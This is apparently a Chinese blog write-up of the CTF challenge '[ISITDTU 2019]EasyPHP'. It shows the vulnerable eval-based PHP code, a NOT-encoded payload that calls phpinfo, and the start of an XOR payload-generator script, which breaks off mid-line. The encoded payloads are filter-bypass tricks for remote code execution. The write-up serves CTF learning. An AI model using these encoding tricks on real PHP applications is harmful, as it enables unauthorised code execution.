BUUCTF:[ISITDTU 2019]EasyPHP --- rce 超级异或,,,吐了,,,字符之间异或, 成型的异或payload!!!

目录:

    • 一、自己做:
    • 二、学的的
    • 三、学习WP
      • 1. 这里先来个不限制字符个数的
    • 关于这个%ff 以及异或的事情,咱们好好唠唠
        • 1.生成异或中间值的python脚本
      • 2. 看有字符限制的时候,:

参考:末 初

一、自己做:


highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

过滤了,不少,我一般碰到rce的题,就看自己的笔记,然后把payload一股脑的网上怼,,,

二、学的的

  1. 正则看不明白的时候,可以看这个网站的分析,https://regex101.com/。超级详细

  2. 我tm,,学这个异或 真·学了一晚上,,8点到11点半.。也是真学会了,,,就是考这个东西嘛,,,

  3. 注意啊,这个异或的马,在PHP7中才好使,,,我本地尝试的时候,用的php5给我打自闭了,我靠,怎么都不好使,,换成PHP7才好使,,,

三、学习WP

没有过滤 取反,这里用取反的payload能打出来 PHP info:

payload:
(~%8F%97%8F%96%91%99%90)();

用python写出来的:

var_dump(urlencode(~'phpinfo'));
output: %8F%97%8F%96%91%99%90

有open_basedir:
/var/www/html/
有disabled_function:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

然后那些东西eval,exec啥的,命令执行就不行了,,然后思路就是 用print_r(scandir(.))来做

1. 这里先来个不限制字符个数的

关于这个%ff 以及异或的事情,咱们好好唠唠

看着啦:自己总结的。。

来了,那就先写 print_r的异或中间值:

看下面的脚本:

1.生成异或中间值的python脚本

我想写一个 生成异或payload的python脚本

print(type(hex(54))) # 这是 str 类型,所以下面这个不行
hex(ord('a'))   output : 0x61 是个str类型
print( hex(ord('a'))^0xff)   这个会报错,因为是一个str ^ int ,然后就将hex变为int就好,int(hex,16)


使用的时候,用下面这个就好了,上面的是用来解释的
aa='print_r'  # 更换成为想要的字符串
for i in aa:
    print(  hex( int(

你可能感兴趣的:(BUUCTF刷题记录,RCE,python)